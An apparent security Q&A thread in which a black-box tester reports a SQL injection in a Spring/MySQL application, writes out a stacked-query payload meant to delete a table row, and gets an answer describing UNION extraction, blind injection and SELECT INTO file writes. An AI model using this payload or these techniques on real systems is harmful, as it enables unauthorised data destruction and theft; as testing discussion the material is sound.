SQL injection is possible but selected queries not working

Question

I'm black-box testing an application which uses java spring framework and MySQL in the back-end.

When I insert a single quote (') in a text box field, the server returns a HTTP status code 500 Internal server error with the below error stack trace,

org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code, name, num_code from car where UPPER (code) LIKE UPPER('%'%') LIMIT 0,10];

So it's absolutely a SQL Injection.

And because of that, I tried to delete a row in another table which sits in the same DB with the below payload:

%'); DELETE FROM p_test WHERE t_id=1#

which will in-turn change the query as:

select code, name, num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=1# %') LIMIT 0,10

Now a row must get deleted in the table p_test with t_id = 1, but it returns the HTTP status code 500 with below stack trace,

[http-bio-8080-exec-7] ERROR c.q.j.e.r.CommonHandlerExceptionResolver - doResolveException going to resolve the following exception : org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code,name,num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10' at line 1

If anyone has any idea please reply.

Answer 1

The MySQL client library doesn't allow multiple stacked queries by default, so you can't execute an arbitrary statement with this injection alone.

This is a handy mitigation against simple automated attacks, but with knowledge of the specific application there is still a lot you can do with a select injection. If you get to see the output of the query you can UNION with another select on a table you want to know about (otherwise see 'blind injection' for more tedious techniques to get that data out). If you have SELECT INTO permissions you can cause some real damage (arbitrary file write possibly escalating to executing arbitrary code).